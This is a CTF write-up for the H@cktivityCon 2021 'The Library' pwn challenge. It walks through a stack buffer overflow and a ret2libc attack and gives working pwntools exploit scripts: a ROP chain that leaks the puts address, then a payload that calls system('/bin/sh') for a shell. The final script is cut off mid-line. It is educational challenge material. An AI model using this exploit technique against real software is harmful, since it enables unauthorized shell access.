The Library — H@cktivityCon 2021 CTF — writeup

Mutawkkel Abdulrhman
5 min readSep 19, 2021

This is an easy PWN challenge, le’s download the files provided(the binary and the LIBC database) and analyze the binary.

After running checksec on the binary we notice that it is an x64 binary and two protections are presented (full RELRO & NX).

We run the binary and we get an entry to input our choice, let’s fuzz it to identify possible vulnerabilities.

And indeed we have a seg-fault which indicates that there is a buffer overflow vulnerability, the next step is reverse engineer the binary to calculate the exact buffer size and find maybe possible WIN functions to return to.

There is nothing interesting in the functions also the buffer size to the return address is 552 bytes.

We have now to start crafting our exploit, because we have a LIBC file associated with the challenge file its clear that we have to perform a ret2libc attack, in order to perform it we have to know the LIBC base of the binary, we have to leak any function’s GOT address to calculate it, to get the leak i wrote the following script.

#!/usr/bin/python3
from pwn import *
binary = ELF('./lib')
libc = ELF('libc-2.31.so')
context.update(arch='amd64',os='linux')
rop = ROP([binary])
pop_rdi = rop.find_gadget([‘pop rdi’,’ret’])[0]
p = process(binary.path)
#p = remote(URL, PORT)
payload = 552 * b'A'
payload += p64(pop_rdi)
payload += p64(binary.got['puts'])
payload += p64(binary.plt['puts'])
payload += p64(binary.symbols['main'])
p.sendlineafter('>',payload)
print('PAYLOAD 1 SENT , RETREIVING PUTS LEAK…')
p.recvline()
add = p.recvline().strip()[-6:]
puts = u64(add + b'\x00\x00')
print('PUTS LEAK IS ',hex(puts))
baselibc = puts - libc.symbols['puts']
print('LIBC BASE IS ',hex(baselibc))
libc.address = baselibc

I used pwntools python library, it makes it alot easy to deal with PWN challenges, if you are not yet familiar with it i recommend learning it.

In the code above I initialized the process then received until the input prompt then sent the payload and retrieved the output from the binary which is the leak.

The payload starts with sending 552 ‘A’ characters which is the buffer to the return pointer on the stack, then i need to call a function in this case PUTS function to print the leaked address, as it is a x64 binaries we can’t simply push arguments to PUTS on the stack because x64 calling convention is different than x86, arguments pushed in the rdi-rsi-r8-r9 registers then the rest on the stack ,so we have to use a ROP chain to do that, in the exploit i used rop.find_gadget to search for pop rdi gadget, so after the buffer i placed the address of the pop rdi instruction, then PUTS.GOT then PUTS.PLT then main.

So what will happen is that PUTS will be called with the PUTS.GOT address as an argument thus it will print the address, then we convert it to hex after unpacking it and subtract the PUTS offset in the LIBC from the address we got, then we get the LIBC base address.

The first step is done now, we have the LIBC version and also we found a way to leak the LIBC base.

Next step is returning to a function that will give us a shell on the machine, SYSTEM is a good one,we can calculate the system address by concatenating the LIBC base with the SYSTEM offset in LIBC, so we have to craft a new exploit and send it again but this time with the purpose of pwning the machine ;).

payload  = 552 * b'A'
payload += p64(pop_rdi + 1)
payload += p64(pop_rdi)
payload += p64(libc.search(b"/bin/sh").__next__())
payload += p64(libc.symbols['system'])
p.sendlineafter('>',payload)
print('PAYLOAD 2 SENT , PWNED...')
p.interactive(

After printing the PUTS leaked address the binary will return to the main function again because we specified it as a return address, so that means we have another chance to input data which will be the final exploit.

As you see it starts with 552 ‘A’s to reach the return address then the POP rdi + 1 (ret), then POP rdi again and last SYSTEM address and ‘/bin/sh’ to be its argument (because we want to run a shell).

So first the program will execute a ret instruction and return back to POP rdi address then it will POP ‘/bin/sh’ to rdi register, last it will move forward to ret and ret will find the system address and execute the function with ‘/bin/sh’ argument placed in rdi, let’s try if that will work.

Note: if you want to replicate the steps on your local machine, change the LIBC version to your system’s LIBC.

--

--